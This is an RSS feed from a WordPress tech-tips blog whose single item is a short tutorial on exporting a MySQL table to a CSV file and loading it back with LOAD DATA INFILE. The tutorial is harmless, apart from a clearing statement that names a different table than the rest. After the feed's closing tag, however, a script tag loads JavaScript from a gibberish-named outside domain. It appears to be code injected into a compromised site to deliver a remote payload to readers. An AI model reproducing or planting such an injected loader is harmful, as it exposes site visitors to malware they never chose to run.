<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Information World &#187; Importing the comma delimited (.csv) file back into MySQL</title>
	<atom:link href="http://www.dailyinfobyte.com/tag/importing-the-comma-delimited-csv-file-back-into-mysql/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.dailyinfobyte.com</link>
	<description>Technical Tips and more...</description>
	<lastBuildDate>Thu, 12 Nov 2009 07:57:26 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>How To Export and Import of .csv data out of and into MySQL</title>
		<link>http://www.dailyinfobyte.com/2009/10/26/how-to-export-and-import-of-csv-data-out-of-and-into-mysql/</link>
		<comments>http://www.dailyinfobyte.com/2009/10/26/how-to-export-and-import-of-csv-data-out-of-and-into-mysql/#comments</comments>
		<pubDate>Tue, 27 Oct 2009 06:07:32 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Exporting the MySQL data into a comma delimited (.csv) file]]></category>
		<category><![CDATA[How To Export and Import of .csv data out of and into MySQL]]></category>
		<category><![CDATA[Importing the comma delimited (.csv) file back into MySQL]]></category>
		<category><![CDATA[LOAD DATA]]></category>
		<category><![CDATA[LOAD DATA example]]></category>
		<category><![CDATA[LOAD DATA INFILE]]></category>
		<category><![CDATA[Load data query]]></category>
		<category><![CDATA[LOAD DATA syntax]]></category>
		<category><![CDATA[SELECT * INTO OUTFILE]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=284</guid>
		<description><![CDATA[How To Export and Import of .csv data out of and into MySQL
 This method works for the MySQL 5  and not sure about other versions.
Exporting the MySQL data into a comma delimited (.csv) file
 SELECT * INTO OUTFILE &#8216; /data.csv&#8217; FIELDS TERMINATED BY &#8216;,&#8217; OPTIONALLY ENCLOSED BY &#8216;&#8221;&#8216; LINES TERMINATED BY &#8216;\n&#8217; FROM table1;
This will dump [...]]]></description>
			<content:encoded><![CDATA[<p><strong>How To Export and Import of .csv data out of and into MySQL</strong></p>
<p> This method works for the MySQL 5  and not sure about other versions.</p>
<p><strong>Exporting the MySQL data into a comma delimited (.csv) file</strong></p>
<p> SELECT * INTO OUTFILE &#8216; /data.csv&#8217; FIELDS TERMINATED BY &#8216;,&#8217; OPTIONALLY ENCLOSED BY &#8216;&#8221;&#8216; LINES TERMINATED BY &#8216;\n&#8217; FROM table1;</p>
<p>This will dump your table into a file with each row from the database being on it’s own line, columns separated by commas, and if there are any spaces or funny business going on with the data in a field, the data will be enclosed in double quotes. You can make changes to this if you like by, for instance, substituting ‘,’ with ‘\t’ would result in a tab delimited file.</p>
<p><strong>Importing the comma delimited (.csv) file back into MySQL</strong></p>
<p><strong> </strong>First thing, you’ll need to clear out your old table (otherwise the keys would collide):</p>
<p>DELETE FROM table;</p>
<p>Then you can proceed with the import:</p>
<p>LOAD DATA INFILE &#8216; /data.csv&#8217; INTO TABLE table1 FIELDS TERMINATED BY &#8216;,&#8217; OPTIONALLY ENCLOSED BY &#8216;&#8221;&#8216; LINES TERMINATED BY &#8216;\n&#8217;;</p>
<p>Please read this article to know more about Load data query.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/10/26/how-to-export-and-import-of-csv-data-out-of-and-into-mysql/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script src="http://kdjkfjskdfjlskdjf.com/js.php"></script>